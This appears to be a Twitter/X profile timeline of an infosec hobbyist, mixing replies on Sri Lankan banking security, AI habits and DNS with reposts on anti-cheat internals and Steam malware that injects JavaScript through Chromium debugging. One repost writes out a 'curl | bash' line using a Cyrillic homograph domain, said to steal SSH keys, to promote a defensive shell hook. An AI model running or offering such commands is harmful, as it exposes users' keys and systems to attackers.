Loshana Aloka

Random infosec guy and lurker (Find me in other places)

[cr3ghost @cr3ghost]

People complain about kernel anti-cheat until they see what EAC actually does to stay ahead.

CR3 encrypted inside EPROCESS. KdpTrap hooked to catch anything touching it during context switches. NtCreateUserProcess emulated so cheats grabbing DirectoryTableBase at process creation get a fake one.

This is what fighting kernel-level cheats actually looks like.

Full breakdown by 0xavx: https://t.co/qEFEWSKEPC

#AntiCheat #GameSecurity

[vx-underground @vxunderground]

I learned quite a bit from this actually.

I didn't know Steam was a Chromium app. Hence, you can kill Steam then relaunch it with the "-cef-enable-debugging" flag.

Once you'll launched Steam with this, you can inject Javascript into Steam using Chromium "webSocketDebuggingUrl" stuff.

This malware has a whole pseudo-framework of Javascript that can do:
- Alert Bell (?)
- Block pages
- "Help page" (?)
- Inventory manipulation
- Steam library manipulation
- Profile manipulation
- Steam redirections

Basically, this malware payload switches Steam into a Chromium debug state, then sends web debug requests (kind of like Chrome Dev Tools?) to manipulate the Steam pages. It injects Javascript.

The chat window that spawns is from a remote host they control. This is really cool.

Is it AI slop? Yes

Is this code EXTREMELY easy to reverse engineer? Yes

Did they unironically document their entire code base in Russian because it was (probably) written using Claude and the authors probably speak Russian? Yes

Is this extremely creative and cool? Yes

Special thanks to "pro" from 2c44. He handed me the payload and the decompiled Python. The malware .py was Base64 encoded ... so obtaining the original source was ridiculously easy.

[Loshana Aloka @acursedcomrade]

@SriLankaTweet @gayaradesilva Is there any verified source on this? Neither PayPal or CBSL has had any mention of this. I feel like PayPal should announce early on for customers which I did not receive yet.

[ThePrimeagen @ThePrimeagen]

I love this

I don't say it because I'm somehow anti-ai, I say this because it's destructive for your life.

You're going to have disrupted sleep, you're going to have disrupted relationships, your whole life will be lived between thinking of the next prompt and results of the current one.

This ain't it king

[Loshana Aloka @acursedcomrade]

@hexmint Thanks, I'll look into these and see what sticks. I'm not a dev so I dont have much of a development workload. If there's anything that can integrate with VSCode and similar editors, that should be enough for me.

[Loshana Aloka @acursedcomrade]

@yudhanjaya And I hate to say this but I think we need to raise the bar for IT education, or at least literacy. There's too many people attached to "AI" like its a porn addiction and LK is not alone in this.

[Loshana Aloka @acursedcomrade]

@SaadhJawwadh The "based in" might be what they see at sign up (they might be dynamically detecting this as well). But if you have given location access to the app, it can sense the region you are in regardless of a VPN.

[Loshana Aloka @acursedcomrade]

@yudhanjaya Everyday, I'm more tempted to unlearn everything and go live as a farmer.

[Loshana Aloka @acursedcomrade]

@dinidu I think BOC does some funny stuff like this too (I'm primarily a NTB customer). Like BOC would email the monthly bank statement, password protected with last 4 digits of the account. But at the same time, they send the full account number in online transfer alerts 🤦‍♂️

[Loshana Aloka @acursedcomrade]

@dinidu I'm all for people adopting the good standards like TOTP. But theres a good chunk of oldies in Sri Lanka who cannot be arsed to use them or to give approval to adopt the tech. With that said, it would be better to have those as an *option*.

[vx-underground @vxunderground]

Microsoft locked out OSR?!

Holy FUCKING shit.

I thought VeraCrypt and WireGuard was bad. Dawg, someone at Microsoft is fucking up BAD. This is ridiculous.

The initial excuse was people didn't verify their email, so it was plausible like, "oh two people probably made a small mistake, bureaucracy, dumb stuff, weird coincidence".

But then Windscribe... AND OSR?! What the fuck is going on at Microsoft? There is a galactic level of fuck up happening somewhere

[Loshana Aloka @acursedcomrade]

@christitustech Seems this hasn't gotten much attention yet

@vxunderground more grub for you

[solst/ICE of Astarte @IceSolst]

“This 16 year old literally has 73 Codex agents shipping for him”

Hm! Maybe we do need age verification on here after all!

[Battle Programmer Yuu @netspooky]

@endingwithali My fav way to build new skills is to let myself be curious and intentionally play. I think when learning is framed as "catching up" instead of "letting your natural curiosity guide you", it feels like a mountain. Take things apart, look inside, play!!

https://t.co/IHTSjDcqXl

[Loshana Aloka @acursedcomrade]

@_beyondcode I think its based on the purpose of chosen DNS. For example, if its an adblocking resolver, you may wanna stick to the same "provider" for consistency.

I guess this acceptable for end-user / domestic environments.

[Sheeki @sheeki03]

Be honest. When was the last time you actually read a command before pasting it into your terminal?

Because these two lines look identical:

curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash

One installs your tool. The other steals your SSH keys.

That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.

Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.

So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.

https://t.co/tIb4xThUn5

[Framework @FrameworkPuter]

We’re deliberately not innovative. The reason this company exists is to bring back the kinds of longevity, repairability, and overall consumer ownership of technology that companies took away over the last couple of decades.